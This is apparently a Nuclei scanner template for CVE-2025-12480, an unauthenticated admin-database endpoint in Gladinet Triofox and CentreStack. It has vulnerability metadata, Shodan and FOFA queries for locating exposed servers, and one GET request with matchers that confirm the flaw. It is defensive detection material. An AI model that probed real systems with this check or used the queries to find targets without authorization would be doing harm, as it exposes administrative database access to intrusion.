Triofox - Improper Access Control

id: CVE-2025-12480

info:
  name: Triofox - Improper Access Control
  author: johnk3r,gti
  severity: critical
  description: |
    The Gladinet Triofox solution before 12.91.1126.65588 and CentreStack before 12.10.595.65696 allow unauthenticated access to the /management/admindatabase.aspx endpoint, exposing sensitive database management functionality to anyone with network access. An unauthenticated attacker can remotely access, view, and potentially interact with the database management interface, risking data disclosure or system compromise.
  impact: |
    Attackers may gain access to sensitive administrative functions of the Triofox database, resulting in unauthorized data access, modification, or potential system compromise.
  remediation: |
    Upgrade to Triofox 12.91.1126.65588 or CentreStack 12.10.595.65696 and later to resolve this vulnerability and restrict unauthenticated access to the administrative database panel.
  reference:
    - https://cloud.google.com/blog/topics/threat-intelligence/triofox-vulnerability-cve-2025-12480
    - https://attackerkb.com/topics/5C4wRy6hY7/cve-2025-12480/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2025-12480
  classification:
    cve-id: CVE-2025-12480
    epss-score: 0.90355
    epss-percentile: 0.99785
    cwe-id: CWE-306
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-177043778
    fofa-query: icon_hash="-177043778"
  tags: cve,cve2025,triofox,unauth,exposure,vkev,kev

http:
  - raw:
      - |
        GET /management/admindatabase.aspx HTTP/1.1
        Host: localhost

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Triofox Enterprise'
          - 'Manage Database'
          - 'Configure Database'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210089c375a0c91bf4f9a5f7ea2fdeb855fc21b3865f19e6c0d64e8d800ce71c43f202204ee209eb748fb3b64ae8e2d4a675b97165ded3c561509c1314d62149a9bf1803:922c64590222798bb761d5b6d8e72950